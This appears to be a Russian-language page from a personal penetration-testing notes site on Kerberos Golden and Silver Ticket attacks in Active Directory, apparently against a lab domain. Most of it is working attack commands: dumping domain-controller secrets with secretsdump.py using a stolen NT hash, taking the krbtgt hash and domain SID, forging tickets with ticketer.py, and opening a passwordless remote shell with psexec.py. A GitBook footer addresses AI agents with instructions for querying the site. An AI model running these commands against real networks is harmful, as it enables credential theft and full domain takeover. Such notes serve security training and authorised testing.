> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket и Silver Ticket

Цель состоит в том, чтобы создать наши собственные билеты Kerberos.

Чтобы сделать это, мы начинаем с получения необходимых секретов с контроллера домена.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="/files/dc6966d50c236d95d041b4288078cee1c1e33660" alt=""><figcaption></figcaption></figure>

Здесь мы получаем хэш `krbtgt` учётной записи.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="/files/4f5fd98c1ecc19b6d7e7e5c9148b0ab1d1b4cdb5" alt=""><figcaption></figcaption></figure>

Мы также получаем `SID домена`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="/files/b09a6175ae79fd1eccea367a7eac9f297ef2bb6e" alt=""><figcaption></figcaption></figure>

С `ticketer.py` мы можем сгенерировать Golden Ticket для этой учётной записи.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Затем мы загружаем этот билет в локальный кэш Kerberos.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="/files/f883f0504b7f366f4fae1a8c935d7ab957f6d673" alt=""><figcaption></figcaption></figure>

После загрузки билета мы можем удалённо войти без пароля.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="/files/45a305955d67444dc2f32c9a8b499c26a1931197" alt=""><figcaption></figcaption></figure>

Для создания Silver Ticket принцип остаётся тем же, но билет предназначен для определённой службы.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="/files/42cdf80f8fbe44aac10e89d9b20bdfe71c6d7a02" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
